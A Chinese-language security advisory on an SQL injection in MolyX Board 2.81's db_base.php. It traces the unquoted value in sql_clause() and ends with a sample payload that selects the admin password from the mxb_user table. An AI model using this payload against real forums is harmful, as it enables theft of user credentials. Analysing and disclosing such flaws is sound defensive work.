MolyX Board 2.81论坛db_base.php页面SQL注入漏洞
影响版本:
MolyX Board 2.81
漏洞描述:
魔力论坛(MolyX Board) 是魔力系列Web应用软件产品之一,由魔力工作室(MolyX Studios) 经过数年的市场技术调研及学习研究,在融合了当今众多论坛程序技术和实践优点的基础上,针对中国人的使用习惯开发研制的一款功能强大、速度飞快、性能卓越、安全性极高的论坛系统。
includes/db/db_base.php 注入
1. function insert($table, $array, $type = 'INSERT', $func = 'query_unbuffered')
2.
3. if (($sql = $this->sql_insert($table, $array, $type)))
4. {
5. return $this->$func($sql);
6. }
7. return false;
接着看sql_insert()函数
1. function sql_insert($table, $array, $type = 'INSERT', $prefix = 'INSERT')
2.
3. if (!is_array($array) || emptyempty($array))
4. {
5. return false;
6. }
7. return "$prefix INTO $table " . $this->sql_clause($type, $array);
再看sql_clause()函数
1. function sql_clause($query, $array)
2. {
3. if (!is_array($array))
4. {
5. return false;
6. }
7.
8. $query = strtoupper($query);
9. $fields = $values = '';
10. if ($query == 'INSERT' || $query == 'INSERT_SELECT')
11. {
12. foreach ($array as $key => $var)
13. {
14. $fields .= ', `' . $key . '`';
15.
16. if (is_array($var) && is_string($var[0]))
17. {
18. // INSERT SELECT
19. $values .= ', ' . $var[0];
20. }
21. else
22. {
23. $values .= ', ' . $this->validate($var);
24. }
25. }
26. $fields = substr($fields, 2);
27. $values = substr($values, 2);
28. $query = ($query == 'INSERT') ? ' (' . $fields . ') VALUES (' . $values . ')' : ' (' . $fields . ') SELECT ' . $values . ' ';
29. }
30. .......................................省略无关代码
$values .= ', ' . $var[0]; 变量$var[0]两边并没有用到单引号,问题产生了!!
但要注意global.php中的init_input()函数对全局变量做了array(' ', '<!--', '-->', '>', '<', '"', '!', "'", "n", '$', "r")过滤成array(' ', '<!--', '-->', '>', '<', '"', '!', ''', '<br />', '$', '')
测试方法:
查找$DB->insert(),跟下它的第二个参数是否有我们能利用的变量,然后跟据流程构造提交.
如:$aa[]=0,(select+password+from+mxb_user+where+id=1),0,0)%23
安全建议:
厂商补丁:
MolyX Board
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.molyx.com/